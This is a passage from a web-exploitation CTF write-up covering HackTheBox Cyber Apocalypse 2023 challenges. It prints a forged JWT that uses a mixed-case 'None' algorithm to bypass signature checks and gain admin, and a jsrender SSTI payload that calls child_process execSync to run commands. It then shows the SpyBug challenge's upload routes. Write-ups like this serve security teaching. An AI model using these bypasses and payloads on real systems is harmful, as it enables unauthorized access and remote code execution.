&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="o">!&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kr">await&lt;/span> &lt;span class="nx">db&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">Users&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">findOne&lt;/span>&lt;span class="p">({&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">where&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="p">{&lt;/span> &lt;span class="nx">id&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="nx">user&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">id&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nx">username&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="s2">&amp;#34;admin&amp;#34;&lt;/span> &lt;span class="p">},&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="nx">res&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">.&lt;/span>&lt;span class="nx">status&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">403&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">.&lt;/span>&lt;span class="nx">send&lt;/span>&lt;span class="p">({&lt;/span> &lt;span class="nx">message&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="s2">&amp;#34;You are not an admin&amp;#34;&lt;/span> &lt;span class="p">});&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span> &lt;span class="k">catch&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nx">err&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="nx">res&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">redirect&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;/login&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">next&lt;/span>&lt;span class="p">();&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">};&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Do you see something fun here ? It checks for the header algorith field. If it is &lt;code>none&lt;/code>, it makes us login again. And if it is &lt;code>HS256&lt;/code>, which basically the same algorithm it uses to authenticate, the app verifies using the random generated key. Or &amp;ldquo;else&amp;rdquo; it verifies with no key at all. This is fun because only with algorithm &lt;code>none&lt;/code>, the function &lt;code>verify&lt;/code> would work.&lt;/p>
&lt;p>I was banging my head for a while, I realised that it doesn&amp;rsquo;t check for &lt;code>NoNe&lt;/code>, &lt;code>NonE&lt;/code> but it is still able to decoded and verified. That lead us to craft a JWT to pass to the &lt;code>session&lt;/code> cookie for admin previlege. I crafted the JWT manually 😵‍💫.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">eyJhbGciOiJOb05lIiwidHlwIjoiSldUIn0.eyJpZCI6MSwiaWF0IjoxNjc5NTk0OTY1LCJleHAiOjI2Nzk1OTg1NjV9.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">{
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &amp;#34;alg&amp;#34;: &amp;#34;None&amp;#34;,
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &amp;#34;typ&amp;#34;: &amp;#34;JWT&amp;#34;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">}
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">{
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &amp;#34;id&amp;#34;: 1,
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &amp;#34;iat&amp;#34;: 1679594965,
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &amp;#34;exp&amp;#34;: 2679598565
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I modified the algorithm to &lt;code>None&lt;/code>, &amp;ldquo;id&amp;rdquo; to &lt;code>1&lt;/code> as 1 is the id of &amp;ldquo;admin&amp;rdquo; and set the expiration time to oblivion so I can take my time to get the flag.&lt;/p>
&lt;img src="dict1.png" alt="Admin panel demo" width="1000"/>
&lt;p>For the flag, look again at the routes&amp;rsquo; functions, we can get the flag through &lt;a href="https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#jsrender-nodejs" target="_blank" rel="noopener">SSTI on jsrender&lt;/a>. To do so the payload must be one of the usernames registered. Only thing we have to do now is to register a new account with the payload for the username.&lt;/p>
&lt;p>&lt;code>{{:&amp;quot;pwnd&amp;quot;.toString.constructor.call({},&amp;quot;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag.txt').toString()&amp;quot;)()}}&lt;/code>&lt;/p>
&lt;img src="dict2.png" alt="Payload" width="1000"/>
&lt;img src="dict3.png" alt="Admin panel demo" width="1000"/>
&lt;p>Flag is: &lt;strong>HTB{Pr3_C0MP111N6_W17H0U7_P4DD13804rD1N6_5K1115}&lt;/strong>&lt;/p>
&lt;h2 id="spybug">SpyBug&lt;/h2>
&lt;ul>
&lt;li>
&lt;p>&lt;strong>Given file:&lt;/strong>: &lt;a href="https://github.com/HoangREALER/cyberApocalypse2023/blob/main/web_spybug.zip" target="_blank" rel="noopener">Get it here&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Description&lt;/strong>: As Pandora made her way through the ancient tombs, she received a message from her contact in the Intergalactic Ministry of Spies. They had intercepted a communication from a rival treasure hunter who was working for the alien species. The message contained information about a digital portal that leads to a software used for intercepting audio from the Ministry&amp;rsquo;s communication channels. Can you hack into the portal and take down the aliens counter-spying operation?&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Note:&lt;/strong> This challenge had a docker but it might be closed at the time you are reading this. All needed files will be given in the write-ups.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Category:&lt;/strong> Web Exploitation&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Difficulty:&lt;/strong> Medium&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>Right, another login panel with no reigster. But wait what&amp;rsquo;s that ? Look at the source code closely, we will have 2 main routes: &lt;code>routes/agents&lt;/code> and &lt;code>routes/main&lt;/code>.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-js" data-lang="js">&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// agents.js
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span>&lt;span class="kr">const&lt;/span> &lt;span class="nx">fs&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nx">require&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;fs&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kr">const&lt;/span> &lt;span class="nx">path&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nx">require&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;path&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kr">const&lt;/span> &lt;span class="p">{&lt;/span> &lt;span class="nx">v4&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="nx">uuidv4&lt;/span> &lt;span class="p">}&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nx">require&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;uuid&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kr">const&lt;/span> &lt;span class="nx">express&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nx">require&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;express&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kr">const&lt;/span> &lt;span class="nx">router&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nx">express&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">Router&lt;/span>&lt;span class="p">();&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kr">const&lt;/span> &lt;span class="nx">multer&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nx">require&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;multer&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kr">const&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">registerAgent&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">updateAgentDetails&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">createRecording&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nx">require&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;./../utils/database&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kr">const&lt;/span> &lt;span class="nx">authAgent&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nx">require&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;../middleware/authagent&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kr">const&lt;/span> &lt;span class="nx">storage&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nx">multer&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">diskStorage&lt;/span>&lt;span class="p">({&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">filename&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nx">req&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nx">file&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nx">cb&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">=&amp;gt;&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">cb&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kc">null&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nx">uuidv4&lt;/span>&lt;span class="p">());&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">},&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">destination&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nx">req&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nx">file&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nx">cb&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">=&amp;gt;&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">cb&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kc">null&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s2">&amp;#34;./uploads&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">},&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">});&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kr">const&lt;/span> &lt;span class="nx">multerUpload&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nx">multer&lt;/span>&lt;span class="p">({&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">storage&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="nx">storage&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">fileFilter&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nx">req&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nx">file&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nx">cb&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">=&amp;gt;&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">file&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">mimetype&lt;/span> &lt;span class="o">===&lt;/span> &lt;span class="s2">&amp;#34;audio/wave&amp;#34;&lt;/span> &lt;span class="o">&amp;amp;&amp;amp;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">path&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">extname&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">file&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">originalname&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">===&lt;/span> &lt;span class="s2">&amp;#34;.wav&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">cb&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kc">null&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kc">true&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span> &lt;span class="k">else&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="nx">cb&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kc">null&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kc">false&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">},&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">});&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nx">router&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">get&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;/agents/register&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kr">async&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nx">req&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nx">res&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">=&amp;gt;&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">res&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">status&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">200&lt;/span>&lt;span class="p">).&lt;/span>&lt;span class="nx">json&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kr">await&lt;/span> &lt;span class="nx">registerAgent&lt;/span>&lt;span class="p">());&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">});&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nx">router&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">get&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;/agents/check/:identifier/:token&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nx">authAgent&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nx">req&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nx">res&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">=&amp;gt;&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">res&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">sendStatus&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">200&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">});&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nx">router&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">post&lt;/span>&lt;span class="p">(&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;/agents/details/:identifier/:token&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">authAgent&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kr">async&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nx">req&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nx">res&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">=&amp;gt;&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kr">const&lt;/span> &lt;span class="p">{&lt;/span> &lt;span class="nx">hostname&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nx">platform&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nx">arch&lt;/span> &lt;span class="p">}&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nx">req&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">body&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="o">!&lt;/span>&lt;span class="nx">hostname&lt;/span> &lt;span class="o">||&lt;/span> &lt;span class="o">!&lt;/span>&lt;span class="nx">platform&lt;/span> &lt;span class="o">||&lt;/span> &lt;span class="o">!&lt;/span>&lt;span class="nx">arch&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">return&lt;/span> &lt;span class="nx">res&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">sendStatus&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">400&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kr">await&lt;/span> &lt;span class="nx">updateAgentDetails&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">req&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">params&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">identifier&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nx">hostname&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nx">platform&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nx">arch&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">res&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">sendStatus&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">200&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nx">router&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">post&lt;/span>&lt;span class="p">(&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;/agents/upload/:identifier/:token&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">authAgent&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">multerUpload&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">single&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;recording&amp;#34;&lt;/span>&lt;span class="p">),&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kr">async&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nx">req&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nx">res&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">=&amp;gt;&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="o">!&lt;/span>&lt;span class="nx">req&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">file&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">return&lt;/span> &lt;span class="nx">res&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">sendStatus&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">400&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kr">const&lt;/span> &lt;span class="nx">filepath&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nx">path&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">join&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;./uploads/&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nx">req&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">file&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">filename&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kr">const&lt;/span> &lt;span class="nx">buffer&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nx">fs&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">readFileSync&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">filepath&lt;/span>&lt;span class="p">).&lt;/span>&lt;span class="nx">toString&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;hex&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="o">!&lt;/span>&lt;span class="nx">buffer&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">match&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sr">/52494646[a-z0-9]{8}57415645/g&lt;/span>&lt;span class="p">))&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">fs&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">unlinkSync&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">filepath&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="nx">res&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">sendStatus&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">400&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kr">await&lt;/span> &lt;span class="nx">createRecording&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">req&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">params&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">identifier&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nx">req&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">file&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">filename&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">res&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">send&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">req&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">file&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">filename&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nx">module&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">exports&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nx">router&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// panel.js
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span>&lt;span class="kr">const&lt;/span> &lt;span class="nx">express&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nx">require&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;express&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kr">const&lt;/span> &lt;span class="nx">router&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nx">express&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">Router&lt;/span>&lt;span class="p">();&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kr">const&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">checkUserLogin&lt;/span>&lt;span class="p">,&lt;/span>
